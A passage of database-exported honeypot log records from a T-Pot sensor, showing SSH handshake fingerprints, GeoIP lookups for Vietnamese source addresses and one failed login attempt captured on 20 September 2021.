"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40632, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.542039", "@timestamp": "2021-09-20T11:06:27.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21771	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.679438+03	2021-09-20 14:15:04.083643+03	{"_id": "vgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35538, "timestamp": "2021-09-20T11:06:27.679438", "@timestamp": "2021-09-20T11:06:27.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21772	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:06:27.689032+03	2021-09-20 14:15:04.084643+03	{"_id": "vwXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53320, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.689032", "@timestamp": "2021-09-20T11:06:27.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21773	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:27.719978+03	2021-09-20 14:15:04.085613+03	{"_id": "wAXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35538, "dest_port": 22, "timestamp": "2021-09-20T11:06:27.719978", "@timestamp": "2021-09-20T11:06:27.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21774	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:27.850377+03	2021-09-20 14:15:04.087642+03	{"_id": "wQXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58662, "timestamp": "2021-09-20T11:06:27.850377", "@timestamp": "2021-09-20T11:06:27.850Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21775	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.198234+03	2021-09-20 14:15:04.088647+03	{"_id": "wgXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "18ce36227242", "@version": "1", "timestamp": "2021-09-20T11:06:27.198234Z", "@timestamp": "2021-09-20T11:06:27.198Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21816	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:30.09946+03	2021-09-20 14:15:04.141612+03	{"_id": "HAXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [test/p] failed", "session": "fc3c7432252e", "@version": "1", "password": "p", "username": "test", "timestamp": "2021-09-20T11:06:30.099460Z", "@timestamp": "2021-09-20T11:06:30.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21776	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:27.21139+03	2021-09-20 14:15:04.090642+03	{"_id": "wwXiAnwBvYTbRNuExP4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7b9f95ac7c28", "@version": "1", "timestamp": "2021-09-20T11:06:27.211390Z", "@timestamp": "2021-09-20T11:06:27.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
